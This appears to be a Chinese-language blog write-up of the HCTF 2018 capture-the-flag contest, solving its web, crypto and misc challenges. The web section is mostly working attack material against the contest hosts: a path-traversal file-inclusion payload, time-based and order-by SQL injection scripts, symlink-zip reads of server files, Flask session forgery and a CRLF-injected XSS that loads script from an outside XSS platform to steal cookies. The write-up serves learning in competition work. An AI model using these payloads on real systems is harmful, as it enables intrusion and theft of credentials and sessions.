V0W's Blog

HCTF2018-WP

字数统计: 4,564阅读时长: 24 min
2018/11/12 Share

前言

参加HCTF,但是熬了两天也没什么输出==、真的体会到和真正的大佬之间的差距,在强大的表哥的带领下取得12名的成绩,我感觉还是很不错。只可惜还进不了决赛、、、

Web

Warmup

一个CVE

参考CVE-2018-12613 PHPMYADMIN后台文件包含分析

payload

1
2
3
http://warmup.2018.hctf.io/index.php?file=hint.php%253f/../../../../../../../ffffllllaaaagggg

http://warmup.2018.hctf.io/index.php?file=hint.php?/../../../../../../../ffffllllaaaagggg

kzone

www.zip有源码泄露

审计源码发现admin/login.php 直接在登录页面想利用SQL注入,发现是有过滤的。

但是在include/member.php中发现

也就是说 Cookie中存在SQL注入,且无过滤,有一个json_decode,需要用json方式传入Cookie,然后cookie注入

但是测试union注入和报错注入都不行,应该是只能时间盲注,并且需要利用Unicode绕过,jsondecode可以直接解Unicode。

payload

1
Cookie: islogin=1;login_data={"admin_user":"\u0061\u0064\u006d\u0069\u006e\u0027\u0020\u0061\u006e\u0064\u0020\u0069\u0066\u0028\u0028\u0073\u0075\u0062\u0073\u0074\u0072\u0028\u0028\u0064\u0061\u0074\u0061\u0062\u0061\u0073\u0065\u0028\u0029\u0029\u002c\u0031\u002c\u0031\u0029\u003d\u0027\u0068\u0027\u0029\u002c\u0073\u006c\u0065\u0065\u0070\u0028\u0035\u0029\u002c\u0031\u0029\u0023","admin_password":"123"}

小脚本写一写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import re
import string
import time
def unicode(s):
unis = ''
for i in s:
unis += '\u00'+i.encode("hex")
return unis

url = "http://kzone.2018.hctf.io/admin/index.php"

cookies = {
"islogin":"1",
"login_data":'{"admin_user":"admin","admin_pass":true}'
}
dic = string.letters + string.digits + "{},-_"
flag = ''
for i in range(1,40):
for c in dic:
#payload = "admin' and if((substr((database()),%d,1)='%s'),sleep(5),1)#" %(i,c)
#payload = "admin' and if((substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'),sleep(5),1)#" % (i,c)
#payload = "admin' and if((substr((select binary group_concat(column_name) from information_schema.columns where table_name='F1444g'),%d,1)='%s'),sleep(5),1)#" % (i,c)
payload = "admin' and if((substr((select binary F1a9 from F1444g),%d,1)='%s'),sleep(5),1)#" % (i,c)
#print payload
payload = unicode(payload)
cookies = {
"islogin":"1",
"login_data":'{"admin_user":"'+payload+'","admin_pass":true}'
}
time_start = time.time()
content = requests.get(url=url,cookies=cookies).content
time_end = time.time()
#print time_end - time_start
if time_end - time_start >= 5:
flag += c
print flag
break

'''
DBname: hctfkouzone
TBname: F1444g,fish_admin,fish_ip,fish_user,fis
Colname: F1a9
DumpData:
flag: hctf{4526a8cbd741b3f790f95ad32c2514b9}
'''

admin

出题人意图不难揣测,以admin身份登录系统就行。

但是一开始没找到源码,费了很多功夫才在github上找到源码

app/routes.py里面看到了这个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@app.route('/register', methods = ['GET', 'POST'])
def register():

if current_user.is_authenticated:
return redirect(url_for('index'))

form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data) # 第一次strlower()
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
...
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data) # 第二次时strlower()
session['name'] = name
user = User.query.filter_by(username=name).first()
...
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name']) # 第三次strlower()
user = User.query.filter_by(username=name).first()

代码中共出现三次strlower函数

跟进,看看这个函数是怎么写的:

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

搜索这个函数,找到参考文档

参考Unicode安全

这个函数会把大写转换为小写,把类似的unicode字符做一个与chrome的地址栏里相似的转换,举个例子

BIG会被转换为big, ƁƗƓ会被转换为ɓɨɠ

他们对用户名是否重复的判断是执行一次这个函数然后进行比对 ,例如AAA会被变为aaa则和之前已经注册过的aaa重复 ,但是这里出现了一个错误,注册一个ᴬᴬᴬ,经过函数处理后变成了AAA,因为与aaa不同所以注册成功,而在用户点击重置密码的连接的时候,这个函数再次被执行了一次,AAA变成了aaa,导致用户aaa的密码被越权修改

于是思路也就有了:

  1. 注册ᴬdmin
  2. 登录ᴬdmin, 会触发第二次转换,但是因为以ᴬdmin登录,所以会变成Admin
  3. 再改密码,会触发第三次的转换Admin会变成admin,所以其实这里修改的是admin的密码
  4. 再以admin的身份登录就行了。

hideandseek

思路:

  1. 上传shell的zip,phar://读 发现不行,事实上网站是flask搭建的
  2. 上传软链接的zip,因为会自动unzip,然后可以软链接读文件

发现思路2可行,并且很容易读文件,如/etc/passwd

1
2
ln -si /etc/passwd link
zip --symlinks test.zip link

但是在读文件的时候发现了问题,不是在默认的路径/var/www/html/app/*.py

于是尝试读配置文件和log,但是发现环境access.log和error.log读取时发生超时错误

最终在/proc/self/environ读到了有效信息

1
2
ln -si /proc/self/environ env
zip --symlinks env.zip env

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=92739130567fSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

之后又在/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini中读取到

1
[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app

于是得到结论:源码在/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

1
2
ln -si /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main
zip --symlinks main.zip main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'


try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

拿到源码,关键的几行在

1
2
3
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

也就是说SECRET_KEY是利用mac地址作为随机数种子的,是可以预测生成随机数的序列的,但是需要知道python版本号。

1
2
ln -s /app/main.py 1.txt
zip -y 1.zip 1.txt

读取到相关信息

1
2
3
4
5
6
7
8
9
from flask import Flask 
app = Flask(__name__)

@app.route("/")
def hello():
return "Hello World from Flask in a uWSGI Nginx Docker container with \ Python 3.6 (default)"

if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)

py3.6

于是可以伪造session

对于uuid.getnode()
同样方式读取/sys/class/net/eth0/address
得到

1
12:34:3e:14:7c:62

计算十进制:20015589129314
用python3.6去看一下随机数

1
2
3
4
>>> import random
>>> random.seed(20015589129314)
>>> print(str(random.random()*100))
11.935137566861131

得到secret_key=11.935137566861131

本地搭建一个环境,用于生成session

1
2
3
4
5
6
7
8
9
10
11
12
13
#encoding: utf-8

from flask import *
app = Flask(__name__)
app.config['SECRET_KEY'] = "11.935137566861131"

#登录&注册页面
@app.route("/",methods=['GET','POST'])
def login():
session['username'] = u'admin'
return 'aa'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

得到伪造的session

1
eyJ1c2VybmFtZSI6ImFkbWluIn0.DsqsZg.BfDKFJ-Mb6MqAvozONjnbKlUM4c

bottle

submit url 容易想到CSRF或者SSRF之类的攻击,测试发现有一个302跳转(/path?path=)

思路还是CSRF+XSS 打cookie

学习p牛的文章Bottle HTTP 头注入漏洞探究

发现可以通过CRLF挤掉CSP构造xss打回cookie来

需要设置X-XSS-ProtectContent-Length,但是,后来测试不加似乎也是可以的。。。

我是使用XSS平台的,payload

1
2
3
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:300%0d%0a%0d%0a%3Cscript%20src=http://xsspt.com/XXXXXX%3E%3C/script%3E

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0a%0d%0a%3Cscript%20src=http://xsspt.com/XXXXXXX%3E%3C/script%3E

容易得到cookie,将cookie设置一下,再次访问题目链接,得到flag

1
bottle.session=b0ddffbc22e34e7fb49d460d9512c69c

Game

数据量太大了,加载的时候,我还以为是延时注入成功了==、

其实本题是考察OrderBy注入,可惜的是,明明还看过OrderBy注入,却没想到==、

学习了。


OrderBy注入原理可以参考p0神博客

直接打开flag文件,提示说只有admin用户才能打开。

于是我们可以利用SQL注入来获取admin用户的密码,从而读取flag文件。

注册新用户,密码逐位逐位与admin的密码比较,最后得到admin的密码,密码这样可以按照密码进行排序,比如注册个密码为d的用户,然后登陆后用password排序

1
http://game.2018.hctf.io/web2/user.php?order=password

发现注册的用户在admin上面,说明admin密码第一位password[0] >= 'd'

同理,注册密码为e的用户,测试发现注册用户在admin下方,于是admin密码第一位password[0] < 'e'

于是可以得到结论 password[0] == 'd'

不断注册新用户,便可以逐位爆破出admin密码

附上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import string
import re

def reg(username,password):
url = "http://game.2018.hctf.io/web2/action.php?action=reg"
data = {
"username":username,
"password":password,
"sex":1,
"submit":"submit"
}
content = requests.post(url=url,data=data).content
print content

login_url = "http://game.2018.hctf.io/web2/action.php?action=login"
ss = "-/123456789"+string.lowercase
flag = ''
for i in range(32):
for j in range(33,126):
username = "v0w0012112nkakab"+str(i) +"zssugar"+str(j)
password = flag + chr(j)
# print username,password
reg(username,password)
data = {
"username":username,
"password":str(password),
"submit":"submit"
}
# print data
req = requests.session()
content = req.post(url=login_url,data=data).content
#print content
order_url = "http://game.2018.hctf.io/web2/user.php?order=password"
content = req.get(url=order_url).content
#print content
tmp = re.findall(r'%s[.\s\S]+?<td>\s*1\s*</td>\s*<td>\s*admin\s*</td>'%username,content,re.S)
if tmp:
flag = flag + chr(j-1)
print flag
break

最后跑出了密码:

1
dSa8&&!@#$%^&d1nGy1aS3dja

然后读取flag

1
hctf{this_idea_h1t_me_whil3_I_am_W3rking}

Crypto

xor?rsa

1
2
3
4
nbits = size(n)
kbits = nbits // (2 * e * e)
m1 = getRandomNBitInteger(nbits)
m2 = m1 ^ getRandomNBitInteger(kbits)

padding 长度为 nbits/e^2,长度过短 会造成短填充攻击

可以求得m1-m2的差值diff

知道c1、c2、diff、e、n可以进行相关信息攻击

得到m1,m2发送过去即可得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#short_pad_attack
import binascii

def short_pad_attack(c1, c2, e, n):
PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

g1 = x^e - c1
g2 = (x+y)^e - c2

q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)

h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()

kbits = n.nbits()//(2*e*e)
diff = h.small_roots(X=2^kbits, beta=0.5)[0] # find root < 2^kbits with factor >= n^0.5

return diff

def related_message_attack(c1, c2, diff, e, n):
PRx.<x> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+diff)^e - c2

def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()

return -gcd(g1, g2)[0]

if __name__ == '__main__':
n = 27325117725066040425607261774702361305480031598260844657255259687949217947185875178414548742392020321812299436880101297227536559351730987915023996386949560743215563482065620796558339146309680837896911726355137737632498099719814507374535188668253558193836192571274971401444835848784952120830068942707870865057672494962150591569745891058420271040371596557379014064434807827018829839225991842910855143477861477983283840739861588719497836896794690605981838804564450022566211353870681343247472863651535379377939787977703685860325769265931265226619644497391491291527800611615877993682121665020799611215291015673668800698047
e = 5

nbits = n.nbits()
kbits = nbits//(2*e*e)
print "upper %d bits (of %d bits) is same" % (nbits-kbits, nbits)

# ^^ = bit-wise XOR
#m1 = randrange(2^nbits)
#m2 = m1 ^^ randrange(2^kbits)
#c1 = pow(m1, e, n)
#c2 = pow(m2, e, n)
c1 = 11146034647280413317443457623961239386839900851075033268495975097708099527017335893963808711594413240859252161601911195036434302423516981466705590143210837021632070692393449550584035345686324553211866055113228844210586772947411150216954229676034855823178188075496107807422868588742623940922760678808366543964733293726627911767243105246511250395661759753616263358374760407323735205233663336331991977749138009890575029063032763890464116037245275157079519540406571208629258706809359182978155122176341736830080587038326813241565093027445769495005048088248614564197179762009363506397136188047072831062771044194671584000093
c2 = 1206394889096499960081166011318481718487253865371591152275319942955987797889761136562701508553079502547193102588852377842551044867961440512715093383379196683866396069689611910096194350083404638346362642034206212849366833513854922022537854397304980423004330041027521742652293082886524946291846011200632987593435588619763971528985802898982891100146430607274314417600181969864547689720620303929732924061673055082880492983474112109999173957339098639555381626435870355703616291445746057601759611370928227297606247782969343337389538257681315001213167257800476196167120597495582636973391942846610897276862327699998885589310

diff = short_pad_attack(c1, c2, e, n)
print "difference of two messages is %d" % diff

#print m1
m1 = related_message_attack(c1, c2, diff, e, n)
print "m1 = ": m1
print "m2 = ": m1 + diff

20181111154194557071025.jpg

xor_game

AlexCTF 2017 : crypto100-many_time_secrets

参考小记一类ctf密码题解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import base64
import string

def bxor(a, b): # xor two byte strings of different lengths
if len(a) > len(b):
return bytes([x ^ y for x, y in zip(a[:len(b)], b)])
else:
return bytes([x ^ y for x, y in zip(a, b[:len(a)])])


def hamming_distance(b1, b2):
differing_bits = 0
for byte in bxor(b1, b2):
differing_bits += bin(byte).count("1")
return differing_bits


def break_single_key_xor(text):
key = 0
possible_space=0
max_possible=0
letters = string.ascii_letters.encode('ascii')
for a in range(0, len(text)):
maxpossible = 0
for b in range(0, len(text)):
if(a == b):
continue
c = text[a] ^ text[b]
if c not in letters and c != 0:
continue
maxpossible += 1
if maxpossible>max_possible:
max_possible=maxpossible
possible_space=a
key = text[possible_space]^ 0x20
return chr(key)


text = ''
with open("cipher.txt","r") as f:
for line in f:
text += line
b = base64.b64decode(text)


normalized_distances = []


for KEYSIZE in range(2, 40):
#我们取其中前6段计算平局汉明距离
b1 = b[: KEYSIZE]
b2 = b[KEYSIZE: KEYSIZE * 2]
b3 = b[KEYSIZE * 2: KEYSIZE * 3]
b4 = b[KEYSIZE * 3: KEYSIZE * 4]
b5 = b[KEYSIZE * 4: KEYSIZE * 5]
b6 = b[KEYSIZE * 5: KEYSIZE * 6]

normalized_distance = float(
hamming_distance(b1, b2) +
hamming_distance(b2, b3) +
hamming_distance(b3, b4) +
hamming_distance(b4, b5) +
hamming_distance(b5, b6)
) / (KEYSIZE * 5)
normalized_distances.append(
(KEYSIZE, normalized_distance)
)
normalized_distances = sorted(normalized_distances,key=lambda x:x[1])


for KEYSIZE,_ in normalized_distances[:5]:
block_bytes = [[] for _ in range(KEYSIZE)]
for i, byte in enumerate(b):
block_bytes[i % KEYSIZE].append(byte)
keys = ''
try:
for bbytes in block_bytes:
keys += break_single_key_xor(bbytes)
key = bytearray(keys * len(b), "utf-8")
plaintext = bxor(b, key)
print("keysize:", KEYSIZE)
print("key is:", keys, "n")
s = bytes.decode(plaintext)
print(s)
except Exception:
continue

Misc

Easy_dump

参考链接

  1. volatility查看信息和进程情况

    1
    root@kali:~/Desktop# volatility -f mem.data imageinfo

    1
    root@kali:~/Desktop# volatility -f mem.data --profile=Win7SP1x64 pslist

一开始,看了看notepad和explorer,但是没有什么发现,于是重点放在了mspaint上面。

首先,将其数据取出:

1
2
3
root@kali:~/Desktop# volatility -f mem.data --profile=Win7SP1x64 memdump -p 2768 -D ~/Desktop/mem
# 之后为了方便在gimp中打开,将*.dmp 复制为 *.data
root@kali:~/Desktop/mem# cat 2768.dmp > 2768.data
  1. 利用gimp修复图像数据

    gimp下载地址

    以data形式打开刚才dump出来的数据。

    调整偏移量来获取更多信息:

    在偏移字段上按住向上箭头一段时间之后,我扩展了窗口并稍微修改了宽度以适应更多的屏幕,然后开始拖动偏移指针以寻找任何interesting的东西。最后幸运的是我找到了一些东西,在进一步调整宽度之后我找到了下面显示的标志。

    不难看出,这是提示,flag应该就在稍上面一些的位置。于是继续调整,得到以下数据截图

  2. 在PS中调整上述图片,容易得到flag

    hctf{big_brother_is _watching_you}

difficult programming language

首先很明显,是一个USB数据包,常规操作来提取一下。

这里我本来使用王一航表哥的脚本,但是发现有问题!!!(此处轻声批评一下王一航表哥)部分keyboard对应关系不正确。

于是改了改表哥的脚本,能用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# env:kali
# yihangwang use some wrong keypad-mapping like(shitfKeys[0x33]=':' but he made it error)
# also 0rz
import sys
import os

DataFileName = "usb.dat"

presses = []

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"`","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":":","34":"\"","35":"~","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

def main():
# check argv
if len(sys.argv) != 2:
print "Usage : "
print " python UsbKeyboardHacker.py data.pcap"
print "Tips : "
print " To use this python script , you must install the tshark first."
print " You can use `sudo apt-get install tshark` to install it"
print "Author : "
print " WangYihang <wangyihanger@gmail.com>"
print " If you have any questions , please contact me by email."
print " Thank you for using."
exit(1)

# get argv
pcapFilePath = sys.argv[1]

# get data of pcap
os.system("tshark -r %s -T fields -e usb.capdata > %s" % (pcapFilePath, DataFileName))

# read data
with open(DataFileName, "r") as f:
for line in f:
presses.append(line[0:-1])
# handle
result = ""
for press in presses:
Bytes = press.split(":")
if Bytes[0] == "00":
if Bytes[2] != "00":
result += normalKeys[Bytes[2]]
elif Bytes[0] == "02": # shift key is pressed.(error: 20)
if Bytes[2] != "00":
result += shiftKeys[Bytes[2]]
else:
print "[-] Unknow Key : %s" % (Bytes[0])
print "[+] Found : %s" % (result)

# clean the temp data
os.system("rm ./%s" % (DataFileName))


if __name__ == "__main__":
main()

得到结果

1
D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~

看上去,像是一堆乱码,于是联系difficult programming language我搜索得到malbolge这种非常像乱码的变成语言。

于是找到一个在线编译网站Malbolge - interpreter online

并且在上面运行前面得到的代码,运行出来就得到flag了。

1
hctf{m4lb0lGe}

后记

本次比赛让我了解到还有很多东西没有接触过或者没有完全弄懂,也有很多可惜之处、、、比如说Orderby注入,我是看过的,但是当时就是想不到,类似的例子还很多、、、

接下来的话,可能还是要继续努力啊、、现在还是菜的一批。

参考文档

hideandseek

软链接

uuid 和 getnode()

flask session

bootle

Bottle HTTP 头注入漏洞探究

新浪某站CRLF Injection导致的安全问题

Game

orderby 盲注

admin

Unicode安全

CATALOG
  1. 1. 前言
  2. 2. Web
    1. 2.1. Warmup
    2. 2.2. kzone
    3. 2.3. admin
    4. 2.4. hideandseek
    5. 2.5. bottle
    6. 2.6. Game
  3. 3. Crypto
    1. 3.1. xor?rsa
    2. 3.2. xor_game
  4. 4. Misc
    1. 4.1. Easy_dump
    2. 4.2. difficult programming language
  5. 5. 后记
  6. 6. 参考文档